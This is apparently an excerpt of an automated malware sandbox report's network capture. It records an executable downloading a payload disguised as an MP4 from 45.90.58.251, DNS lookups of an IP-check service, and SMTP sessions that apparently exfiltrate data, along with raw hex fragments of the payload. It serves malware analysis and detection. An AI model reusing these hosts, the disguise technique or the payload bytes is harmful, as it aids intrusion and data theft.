Jul 5, 2024 07:48:49.282386065 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.282413960 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.282427073 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.282429934 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:49.282439947 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.282454967 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.282459974 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:49.282491922 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:49.286957979 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.286971092 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.286983967 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.287009954 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:49.314450979 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.314479113 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.314491987 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.314512968 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:49.314538956 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:49.355266094 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.355413914 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.355423927 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.355436087 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.355453968 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.355458021 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:49.355468035 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.355480909 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:49.355509996 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:49.382649899 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.382659912 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.382673979 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.382685900 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:49.382716894 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:49.382744074 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:53.853651047 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:53.854603052 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:49:13.446307898 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:49:13.733819962 CEST	63883	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:13.733855963 CEST	443	63883	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:13.733930111 CEST	63883	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:13.736773968 CEST	63883	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:13.736787081 CEST	443	63883	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:14.235059977 CEST	443	63883	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:14.235133886 CEST	63883	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:14.236721039 CEST	63883	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:14.236732006 CEST	443	63883	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:14.236964941 CEST	443	63883	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:14.281794071 CEST	63883	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:14.368613005 CEST	63883	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:14.412507057 CEST	443	63883	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:14.670856953 CEST	443	63883	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:14.670913935 CEST	443	63883	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:14.670973063 CEST	63883	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:14.673310041 CEST	63883	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:15.255556107 CEST	63884	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:15.260521889 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:15.260617018 CEST	63884	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:15.911709070 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:15.911950111 CEST	63884	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:15.918494940 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.077312946 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.077729940 CEST	63884	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:16.082484007 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.241287947 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.241496086 CEST	63884	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:16.246268034 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.410701990 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.411000013 CEST	63884	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:16.415822029 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.580338001 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.580624104 CEST	63884	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:16.585572004 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.748233080 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.748532057 CEST	63884	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:16.753443003 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.912118912 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.912805080 CEST	63884	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:16.913009882 CEST	63884	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:16.913011074 CEST	63884	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:16.913011074 CEST	63884	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:16.917566061 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.917804003 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.917907000 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:16.917916059 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:17.189083099 CEST	587	63884	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:17.230319977 CEST	63884	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:20.491700888 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:49:20.758527040 CEST	63885	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:20.758624077 CEST	443	63885	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:20.759121895 CEST	63885	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:20.763676882 CEST	63885	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:20.763711929 CEST	443	63885	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:21.432554007 CEST	443	63885	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:21.432629108 CEST	63885	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:21.434248924 CEST	63885	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:21.434257984 CEST	443	63885	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:21.434484005 CEST	443	63885	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:21.480252028 CEST	63885	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:21.486810923 CEST	63885	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:21.532500982 CEST	443	63885	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:21.594892979 CEST	443	63885	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:21.594949961 CEST	443	63885	172.67.74.152	192.168.2.4
Jul 5, 2024 07:49:21.595010996 CEST	63885	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:21.597533941 CEST	63885	443	192.168.2.4	172.67.74.152
Jul 5, 2024 07:49:22.314081907 CEST	63886	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:22.319000006 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:22.319077969 CEST	63886	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:22.947231054 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:22.947408915 CEST	63886	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:22.952338934 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.109576941 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.109780073 CEST	63886	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:23.114594936 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.273040056 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.277077913 CEST	63886	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:23.281981945 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.447271109 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.448868036 CEST	63886	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:23.455025911 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.621675014 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.624799967 CEST	63886	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:23.633059025 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.796953917 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.797218084 CEST	63886	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:23.802155972 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.960186958 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.960835934 CEST	63886	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:23.960835934 CEST	63886	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:23.960835934 CEST	63886	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:23.960835934 CEST	63886	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:49:23.965715885 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.965794086 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.965940952 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:23.965950966 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:24.243608952 CEST	587	63886	162.254.34.31	192.168.2.4
Jul 5, 2024 07:49:24.292779922 CEST	63886	587	192.168.2.4	162.254.34.31

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 5, 2024 07:48:14.690545082 CEST	53	49241	1.1.1.1	192.168.2.4
Jul 5, 2024 07:48:25.615938902 CEST	60386	53	192.168.2.4	1.1.1.1
Jul 5, 2024 07:48:25.626908064 CEST	53	60386	1.1.1.1	192.168.2.4
Jul 5, 2024 07:49:13.722058058 CEST	63314	53	192.168.2.4	1.1.1.1
Jul 5, 2024 07:49:13.729108095 CEST	53	63314	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 5, 2024 07:48:25.615938902 CEST	192.168.2.4	1.1.1.1	0x3319	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Jul 5, 2024 07:49:13.722058058 CEST	192.168.2.4	1.1.1.1	0xc5e9	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 5, 2024 07:48:25.626908064 CEST	1.1.1.1	192.168.2.4	0x3319	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Jul 5, 2024 07:48:25.626908064 CEST	1.1.1.1	192.168.2.4	0x3319	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Jul 5, 2024 07:48:25.626908064 CEST	1.1.1.1	192.168.2.4	0x3319	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Jul 5, 2024 07:49:13.729108095 CEST	1.1.1.1	192.168.2.4	0xc5e9	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Jul 5, 2024 07:49:13.729108095 CEST	1.1.1.1	192.168.2.4	0xc5e9	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Jul 5, 2024 07:49:13.729108095 CEST	1.1.1.1	192.168.2.4	0xc5e9	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

45.90.58.251

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	45.90.58.251	80	6828	C:\Users\user\Desktop\Doc6078451035.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 07:47:52.161154985 CEST	75	OUT	GET /01a/Pewvr.mp4 HTTP/1.1 Host: 45.90.58.251 Connection: Keep-Alive
Jul 5, 2024 07:47:52.820112944 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 05:47:52 GMT Server: Apache/2.4.37 (AlmaLinux) Last-Modified: Thu, 04 Jul 2024 08:02:54 GMT ETag: "193a55-61c675fc1a780" Accept-Ranges: bytes Content-Length: 1653333 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: video/mp4 Data Raw: 00 88 22 00 1f 8b 08 00 00 00 00 00 04 00 ec 7d 07 7c 14 c5 f7 f8 de a5 5f 1a 97 0b 97 10 92 dc 50 12 62 e8 48 b9 84 de ab 74 21 a1 87 12 04 81 20 a1 a9 10 a2 a8 a0 52 14 41 11 04 04 01 b1 00 a2 62 45 b0 21 a8 88 14 fd 5a b0 a0 88 48 53 40 41 5a 92 ff 7b b3 7d 77 76 f7 ee 12 fc fa fd 7f 7e 81 bd dd 9d 9d f7 a6 bd 79 f3 e6 cd 9b 37 b7 0c 7a 84 0b e2 38 2e 18 ae b2 32 8e 7b 83 e3 ff da 70 d6 7f c5 70 c5 78 de 8a e1 5e 8d f8 ac da 1b b6 1e 9f 55 eb 7f db b8 42 32 79 4a c1 d8 29 79 13 c9 a8 bc 49 93 0a a6 92 91 63 c8 94 69 93 c8 b8 49 a4 43 af 7e 64 62 c1 e8 31 f5 a2 a3 1d 35 05 1c bd 3b 72 5c 0f 5b 10 17 be 72 fd 2f 22 de a3 5c 4c b5 48 5b 03 48 a0 3a c7 85 f2 61 3f ac 86 67 02 0f 4f 57 e7 73 87 cf 76 3e df 1c 27 df b9 a3 d5 69 38 fe 05 71 6d ee e7 b8 4a f4 bf 7c e7 b8 58 45 19 1e 01 bc dd 39 1e 6f e3 20 46 21 df ad ce 45 f9 50 17 ba 3f c8 5f b8 e2 35 1c de bb 28 de eb 4d 1d 33 73 2a dc 7f 29 12 ca 55 2c e7 5b 81 62 44 bd 29 85 53 46 c1 33 cd 1b 96 1d 0b 7a 6f 75 55 bc 36 90 cb 7a 53 c6 4c 28 80 88 51 [TRUNCATED] Data Ascii: "}\|_PbHt! RAbE!ZHS@AZ{}wv~y7z8.2{ppx^UB2yJ)yIciIC~db15;r\[r/"\LH[H:a?gOWsv>'i8qmJ\|XE9o F!EP?_5(M3s*)U,[bD)SF3zouU6zSL(QB)tij>pm6qnup6{h%> [wwf%r1p?B:bY3'\^%X\3'{_YYY:vIqO&0N:\sizG\|ds)}sp\.1;qk_/!LS8bN/qqBAe: [%;30xwk42&O54>fs4Qp2qql$:bjO<3?gZvtD]<.]t+@@>gp@'GAE\OBrVp"C' )!\|<tQd/?yEx3x[3XbUUUP3AnBLC~#Diz7I!264sCL;ynzg`h0<;RX#4s#1\|.\{go
Jul 5, 2024 07:47:52.820137978 CEST	1236	IN	Data Raw: 46 2d 15 d0 0d d6 24 1a da b4 71 b5 31 a4 e7 b6 36 c5 42 84 de 9a f4 42 30 bd 5a 98 5e 15 44 7d aa 04 50 57 3f bb a4 1a a9 6b 9b 35 53 80 b9 55 83 34 eb bb 21 6f 52 0e 36 92 34 cd 5f fe 93 10 ab 81 06 73 28 62 6e 8e 98 ab 22 e6 47 10 f3 82 87 de Data Ascii: F-$q16BB0Z^D}PW?k5SU4!oR64_s(bn"G\ItS.Y5\|r%a@MNUIfdul #Lud}s8bnc#H].IHB[nb5`@7!f 6O<'gIur
Jul 5, 2024 07:47:52.820147038 CEST	1236	IN	Data Raw: 85 dd 88 30 ad 7e a2 ed 2c fe e1 4b e0 48 cf c0 7d a6 5d 9e ff 63 df 6e 04 23 4e 2f b8 df 03 f7 05 02 10 86 5f 82 9f 7b e0 9a 01 5c 68 86 22 fc 65 18 2b 1b 02 ae 63 11 72 7c fc 83 69 21 b7 1f ba 5b 59 a4 91 7e c1 6f fd 81 91 ae c4 28 dc ea bb 2a Data Ascii: 0~,KH}]cn#N/_{\h"e+cr\|i![Y~o(:"-/`\|U^bx:t4#}0G~m#"Oou\|Cm_@pZ!\~- >Fg]K`M6WXO0]
Jul 5, 2024 07:47:52.820218086 CEST	672	IN	Data Raw: 93 13 09 d9 a9 4a eb 44 45 76 a8 35 ce 64 09 21 bf 48 dc a3 e5 d8 2d 42 fc 71 32 2e de f2 e3 6c 59 bd a6 ca c5 7f 05 2e 6a 46 50 13 70 65 6c c4 f8 d4 12 a3 b2 84 5a 61 46 75 60 9e ab 9d d2 92 81 c7 bf a1 fd fe e5 63 48 83 57 8b 83 54 e5 90 1b 41 Data Ascii: JDEv5d!H-Bq2.lY.jFPpelZaFu`cHWTA:zkIlJF\|+JMK4{OKS2W1 mQ)y:}8TiiA$mDi">B?sd\|uA5W(Qe/YNyZXi
Jul 5, 2024 07:47:52.820303917 CEST	1236	IN	Data Raw: c7 5a f5 bc 9e a5 2f 60 ef 9b d2 8d 63 aa fe f3 4f ad 69 1b af ef 87 99 d6 a9 55 db fb d9 af 7c 5d 7b b2 d2 d9 96 eb 8e 6d b7 53 bf a6 a8 ba 07 41 bb 29 d6 96 a8 39 9a d1 da 60 7f 83 f5 05 2b fb 05 73 f9 c1 2f 3b 11 55 59 18 6d 6d 28 d3 f9 40 27 Data Ascii: Z/`cOiU\|]{mSA)9`+s/;UYmm(@'>2<*l2Z}X-l8e6`ZS8\|2p=HGc8?xZ`FVu[BL_7Tz;_0';0E9iUZ~
Jul 5, 2024 07:47:52.820319891 CEST	1236	IN	Data Raw: 89 42 cc e1 ba 98 95 f8 7a 8b 6b b1 ac c4 68 b4 f1 38 79 9b 9f f3 a3 72 be 31 aa 7e 4f 9c 60 7f e6 d8 38 eb 4d 21 d2 cd ba 48 2e f2 eb 6f 5f 3d 9d 4f 2e f5 3e 3d 86 ed 82 08 22 c5 f3 54 71 a4 d9 c7 27 8c e8 d4 53 99 b7 a0 9a 36 6d d9 8f 86 b9 76 Data Ascii: Bzkh8yr1~O`8M!H.o_=O.>="Tq'S6mv+kv/DI<$h>9s HV]8nTw?{0h$A?&YCVEM&wl<~4i)B\|3t]RIUn4bz~nl4{m.b7
Jul 5, 2024 07:47:52.820329905 CEST	1236	IN	Data Raw: 90 e3 25 9e f9 a4 c7 95 07 52 72 c8 f1 83 37 ff 66 38 ea 4e e4 c9 72 ec 4f 63 97 0b 71 da e8 e2 4c e2 07 2d 4f 63 23 a7 e1 10 a7 80 6c 9d 37 31 91 7c 69 7b 42 14 f0 f5 62 f2 64 b2 f0 8d de cf 92 fd b9 e9 a2 db d7 6a ba 38 77 28 87 e4 47 43 ba ff Data Ascii: %Rr7f8NrOcqL-Oc#l71\|i{Bbdj8w(GCf_>,[lXJg\?pZ3\|8<%}94~ntL)}$v>&]B~H3\tqS6$qk-)n:aR*q]-zR1"~=9U
Jul 5, 2024 07:47:52.820341110 CEST	672	IN	Data Raw: c1 8b cc 86 98 e3 22 bd c8 ba bc ec 73 a5 52 ab 1f d7 9c bb f6 e2 ea d7 ff 34 63 f8 1f 49 1c fa 05 84 5c 9b 1e b3 88 2c 3b 37 f1 09 b3 c6 fb 4c 4d 2f a8 00 cc 9a 28 8f 39 23 4b d5 07 61 cd f9 32 b7 81 59 8f fe d6 26 9c fd c1 c7 e9 81 25 4a a5 e8 Data Ascii: "sR4cI\,;7LM/(9#Ka2Y&%J(vI:q53M8]cx:P7M?8lHI$^dO,NN8R_d-YKNI"Rh%*"6XB!PnTrIq=n<<6qQ+xkabCeS
Jul 5, 2024 07:47:52.820493937 CEST	1236	IN	Data Raw: fb 17 9b 35 c9 19 9b ea 60 a9 51 48 93 13 fe 96 c6 e0 bc bf d5 c7 88 d6 2c 4e eb 6f 86 ee b4 24 6a d6 92 ce 82 6b ba fa 82 b8 9a ca 9c 1a ff 85 30 19 08 f3 e7 25 f1 80 cb 77 c6 0f 79 d8 ac c0 5f 4b d3 69 7a 36 9c c2 04 21 f8 ee b5 4b cc 84 e1 2f Data Ascii: 5`QH,No$jk0%wy_Kiz6!K/Um/ayl_l9%ec015$M0/ns!><OMa1#*ARXf]/#$h]O~@<<.{EIR'!r1sHmrQe9]!zuku5cO8(fjTe&@
Jul 5, 2024 07:47:52.820503950 CEST	1236	IN	Data Raw: cf 40 3f fc 3a fd 4f 87 fb e8 cb 95 79 8e 99 55 bb 97 37 6f fe fb b9 d2 d3 94 56 f6 f2 33 2d 2b 9b 70 2b 1d b4 e9 7e 80 00 f9 82 21 ae e3 86 be 3d b5 76 c2 81 f7 69 df fb b0 5f 7d d4 af be aa cd 43 60 fb 22 ca 3d b7 35 b0 33 d7 ea ee ff 67 68 da Data Ascii: @?:OyU7oV3-+p+~!=vi_}C`"=53ghu8LL?}YOY}2wOX17@!_nOY>W__i*9 #HjM@+6OZSVtEqO/#\?pp$[#^^
Jul 5, 2024 07:47:52.825217009 CEST	1236	IN	Data Raw: f5 87 48 eb e7 0d 74 49 e5 b1 d3 b8 f1 63 ab 2f 7b 3a eb 70 6d 27 f2 34 60 22 43 24 b0 f3 eb 5f fa d6 f2 9b b6 4f 98 d1 b4 db ef 35 01 6c c7 ee 36 e9 cc b8 80 d6 b3 b5 b2 b9 fa bb 3b 80 31 89 6d a3 6d 65 0f 54 4e fb 20 03 3b ea 1b 63 7f 87 f5 de Data Ascii: HtIc/{:pm'4`"C$_O5l6;1mmeTN ;cEO[Q[-#/VpL;dPlGnOy/6?M}'ubZ>#WAj?v1+/\wu&Cy?F\|]`9]+kp&s0k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	63880	45.90.58.251	80	6016	C:\Users\user\AppData\Roaming\Hdoyoyt.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 07:48:37.874456882 CEST	75	OUT	GET /01a/Pewvr.mp4 HTTP/1.1 Host: 45.90.58.251 Connection: Keep-Alive
Jul 5, 2024 07:48:38.544902086 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 05:48:38 GMT Server: Apache/2.4.37 (AlmaLinux) Last-Modified: Thu, 04 Jul 2024 08:02:54 GMT ETag: "193a55-61c675fc1a780" Accept-Ranges: bytes Content-Length: 1653333 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: video/mp4 Data Raw: 00 88 22 00 1f 8b 08 00 00 00 00 00 04 00 ec 7d 07 7c 14 c5 f7 f8 de a5 5f 1a 97 0b 97 10 92 dc 50 12 62 e8 48 b9 84 de ab 74 21 a1 87 12 04 81 20 a1 a9 10 a2 a8 a0 52 14 41 11 04 04 01 b1 00 a2 62 45 b0 21 a8 88 14 fd 5a b0 a0 88 48 53 40 41 5a 92 ff 7b b3 7d 77 76 f7 ee 12 fc fa fd 7f 7e 81 bd dd 9d 9d f7 a6 bd 79 f3 e6 cd 9b 37 b7 0c 7a 84 0b e2 38 2e 18 ae b2 32 8e 7b 83 e3 ff da 70 d6 7f c5 70 c5 78 de 8a e1 5e 8d f8 ac da 1b b6 1e 9f 55 eb 7f db b8 42 32 79 4a c1 d8 29 79 13 c9 a8 bc 49 93 0a a6 92 91 63 c8 94 69 93 c8 b8 49 a4 43 af 7e 64 62 c1 e8 31 f5 a2 a3 1d 35 05 1c bd 3b 72 5c 0f 5b 10 17 be 72 fd 2f 22 de a3 5c 4c b5 48 5b 03 48 a0 3a c7 85 f2 61 3f ac 86 67 02 0f 4f 57 e7 73 87 cf 76 3e df 1c 27 df b9 a3 d5 69 38 fe 05 71 6d ee e7 b8 4a f4 bf 7c e7 b8 58 45 19 1e 01 bc dd 39 1e 6f e3 20 46 21 df ad ce 45 f9 50 17 ba 3f c8 5f b8 e2 35 1c de bb 28 de eb 4d 1d 33 73 2a dc 7f 29 12 ca 55 2c e7 5b 81 62 44 bd 29 85 53 46 c1 33 cd 1b 96 1d 0b 7a 6f 75 55 bc 36 90 cb 7a 53 c6 4c 28 80 88 51 [TRUNCATED] Data Ascii: "}\|_PbHt! RAbE!ZHS@AZ{}wv~y7z8.2{ppx^UB2yJ)yIciIC~db15;r\[r/"\LH[H:a?gOWsv>'i8qmJ\|XE9o F!EP?_5(M3s*)U,[bD)SF3zouU6zSL(QB)tij>pm6qnup6{h%> [wwf%r1p?B:bY3'\^%X\3'{_YYY:vIqO&0N:\sizG\|ds)}sp\.1;qk_/!LS8bN/qqBAe: [%;30xwk42&O54>fs4Qp2qql$:bjO<3?gZvtD]<.]t+@@>gp@'GAE\OBrVp"C' )!\|<tQd/?yEx3x[3XbUUUP3AnBLC~#Diz7I!264sCL;ynzg`h0<;RX#4s#1\|.\{go
Jul 5, 2024 07:48:38.545002937 CEST	1236	IN	Data Raw: 46 2d 15 d0 0d d6 24 1a da b4 71 b5 31 a4 e7 b6 36 c5 42 84 de 9a f4 42 30 bd 5a 98 5e 15 44 7d aa 04 50 57 3f bb a4 1a a9 6b 9b 35 53 80 b9 55 83 34 eb bb 21 6f 52 0e 36 92 34 cd 5f fe 93 10 ab 81 06 73 28 62 6e 8e 98 ab 22 e6 47 10 f3 82 87 de Data Ascii: F-$q16BB0Z^D}PW?k5SU4!oR64_s(bn"G\ItS.Y5\|r%a@MNUIfdul #Lud}s8bnc#H].IHB[nb5`@7!f 6O<'gIur
Jul 5, 2024 07:48:38.545108080 CEST	1236	IN	Data Raw: 85 dd 88 30 ad 7e a2 ed 2c fe e1 4b e0 48 cf c0 7d a6 5d 9e ff 63 df 6e 04 23 4e 2f b8 df 03 f7 05 02 10 86 5f 82 9f 7b e0 9a 01 5c 68 86 22 fc 65 18 2b 1b 02 ae 63 11 72 7c fc 83 69 21 b7 1f ba 5b 59 a4 91 7e c1 6f fd 81 91 ae c4 28 dc ea bb 2a Data Ascii: 0~,KH}]cn#N/_{\h"e+cr\|i![Y~o(:"-/`\|U^bx:t4#}0G~m#"Oou\|Cm_@pZ!\~- >Fg]K`M6WXO0]
Jul 5, 2024 07:48:38.545183897 CEST	1236	IN	Data Raw: 93 13 09 d9 a9 4a eb 44 45 76 a8 35 ce 64 09 21 bf 48 dc a3 e5 d8 2d 42 fc 71 32 2e de f2 e3 6c 59 bd a6 ca c5 7f 05 2e 6a 46 50 13 70 65 6c c4 f8 d4 12 a3 b2 84 5a 61 46 75 60 9e ab 9d d2 92 81 c7 bf a1 fd fe e5 63 48 83 57 8b 83 54 e5 90 1b 41 Data Ascii: JDEv5d!H-Bq2.lY.jFPpelZaFu`cHWTA:zkIlJF\|+JMK4{OKS2W1 mQ)y:}8TiiA$mDi">B?sd\|uA5W(Qe/YNyZXi
Jul 5, 2024 07:48:38.545195103 CEST	896	IN	Data Raw: 6b 46 20 4d 23 1e 66 24 43 19 c5 bf 71 ba 0c 73 fb 77 f3 f1 c9 4a e6 63 ad a1 b3 c7 6a 3f fb 97 c4 bb 14 f4 b2 96 a7 97 f2 d0 ac 56 a7 cf 8a 1f 6a f1 9d 3d e7 b7 e2 ab 15 48 c7 3a db 71 a3 f1 c6 8c d6 b5 3c 36 ce 60 2e 68 74 47 dc cf f8 b1 96 64 Data Ascii: kF M#f$CqswJcj?Vj=H:q<6`.htGdEW*)LtBN+lpDzM5t&\Lvjd_@.&~.-L<2o?`KB\o_DGd_{xAd! m-NEnFL&[-E%
